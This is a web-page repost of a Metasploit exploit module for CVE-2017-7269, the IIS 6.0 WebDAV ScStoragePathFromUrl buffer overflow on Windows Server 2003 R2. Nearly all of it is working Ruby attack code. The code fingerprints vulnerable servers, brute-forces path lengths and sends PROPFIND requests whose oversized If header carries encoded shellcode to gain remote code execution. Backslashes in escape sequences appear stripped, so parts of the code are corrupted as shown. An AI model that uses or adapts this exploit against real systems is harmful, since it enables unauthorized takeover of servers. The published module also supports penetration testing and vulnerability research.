Microsoft IIS WebDav ScStoragePathFromUrl Overflow
Posted on 11 May 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow', 'Description' => %q{ Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. Original exploit by Zhiniang Peng and Chen Wu. }, 'Author' => [ 'Zhiniang Peng', # Original author 'Chen Wu', # Original author 'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module 'firefart', # metasploit module 'zcgonvh <zcgonvh@qq.com>', # metasploit module 'Rich Whitcroft' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7269' ], [ 'BID', '97127' ], [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ], [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ] ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => "x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'DisableNops' => 'True', 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'PrependMigrate' => true, }, 'Targets' => [ [ 'Microsoft Windows Server 2003 R2 SP2', { 'Platform' => 'win', }, ], ], 'Platform' => 'win', 'DisclosureDate' => 'Mar 26 2017', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']), OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]), OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]), ]) end def min_path_len datastore['MINPATHLENGTH'] end def max_path_len datastore['MAXPATHLENGTH'] end def supports_webdav?(headers) if headers['MS-Author-Via'] == 'DAV' || headers['DASL'] == '<DAV:sql>' || headers['DAV'] =~ /^[1-9]+(,s+[1-9]+)?$/ || headers['Public'] =~ /PROPFIND/ || headers['Allow'] =~ /PROPFIND/ return true else return false end end def check res = send_request_cgi({ 'uri' => target_uri.path, 'method' => 'OPTIONS' }) if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers) return Exploit::CheckCode::Vulnerable elsif res && supports_webdav?(res.headers) return Exploit::CheckCode::Detected elsif res.nil? return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end end def exploit # extract the local servername and port from a PROPFIND request # these need to be the values from the backend server # if testing a reverse proxy setup, these values differ # from RHOST and RPORT but can be extracted this way vprint_status("Extracting ServerName and Port") res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { 'Content-Length' => 0 }, 'uri' => target_uri.path ) fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207) xml = res.get_xml_document url = URI.parse(xml.at("//a:response//a:href").text) server_name = url.hostname server_port = url.port server_scheme = url.scheme http_host = "#{server_scheme}://#{server_name}:#{server_port}" vprint_status("Using http_host #{http_host}") min_path_len.upto(max_path_len) do |path_len| vprint_status("Trying path length of #{path_len}...") begin buf1 = "<#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << "xe6xa9xb7xe4x85x84xe3x8cxb4xe6x91xb6xe4xb5x86xe5x99x94xe4x9dxacxe6x95x83xe7x98xb2xe7x89xb8xe5x9dxa9xe4x8cxb8xe6x89xb2xe5xa8xb0xe5xa4xb8xe5x91x88xc8x82xc8x82xe1x8bx80xe6xa0x83xe6xb1x84xe5x89x96xe4xacxb7xe6xb1xadxe4xbdx98xe5xa1x9axe7xa5x90xe4xa5xaaxe5xa1x8fxe4xa9x92xe4x85x90xe6x99x8dxe1x8fx80xe6xa0x83xe4xa0xb4xe6x94xb1xe6xbdx83xe6xb9xa6xe7x91x81xe4x8dxacxe1x8fx80xe6xa0x83xe5x8dx83xe6xa9x81xe7x81x92xe3x8cxb0xe5xa1xa6xe4x89x8cxe7x81x8bxe6x8dx86xe5x85xb3xe7xa5x81xe7xa9x90xe4xa9xac" buf1 << ">" buf1 << " (Not <locktoken:write1>) <#{http_host}/" buf1 << rand_text_alpha(114 - path_len) buf1 << "xe5xa9x96xe6x89x81xe6xb9xb2xe6x98xb1xe5xa5x99xe5x90xb3xe3x85x82xe5xa1xa5xe5xa5x81xe7x85x90xe3x80xb6xe5x9dxb7xe4x91x97xe5x8dxa1xe1x8fx80xe6xa0x83xe6xb9x8fxe6xa0x80xe6xb9x8fxe6xa0x80xe4x89x87xe7x99xaaxe1x8fx80xe6xa0x83xe4x89x97xe4xbdxb4xe5xa5x87xe5x88xb4xe4xadxa6xe4xadx82xe7x91xa4xe7xa1xafxe6x82x82xe6xa0x81xe5x84xb5xe7x89xbaxe7x91xbaxe4xb5x87xe4x91x99xe5x9dx97xebx84x93xe6xa0x80xe3x85xb6xe6xb9xafxe2x93xa3xe6xa0x81xe1x91xa0xe6xa0x83xccx80xe7xbfxbexefxbfxbfxefxbfxbfxe1x8fx80xe6xa0x83xd1xaexe6xa0x83xe7x85xaexe7x91xb0xe1x90xb4xe6xa0x83xe2xa7xa7xe6xa0x81xe9x8ex91xe6xa0x80xe3xa4xb1xe6x99xaexe4xa5x95xe3x81x92xe5x91xabxe7x99xabxe7x89x8axe7xa5xa1xe1x90x9cxe6xa0x83xe6xb8x85xe6xa0x80xe7x9cxb2xe7xa5xa8xe4xb5xa9xe3x99xacxe4x91xa8xe4xb5xb0xe8x89x86xe6xa0x80xe4xa1xb7xe3x89x93xe1xb6xaaxe6xa0x82xe6xbdxaaxe4x8cxb5xe1x8fxb8xe6xa0x83xe2xa7xa7xe6xa0x81" buf1 << payload.encoded buf1 << ">" vprint_status("Sending payload") res = send_request_raw( 'method' => 'PROPFIND', 'headers' => { 'Content-Length' => 0, 'If' => "#{buf1}" }, 'uri' => target_uri.path ) if res vprint_status("Server returned status #{res.code}") if res.code == 502 || res.code == 400 next elsif session_created? return else vprint_status("Unknown Response: #{res.code}") end end rescue ::Errno::ECONNRESET vprint_status("got a connection reset") next end end end end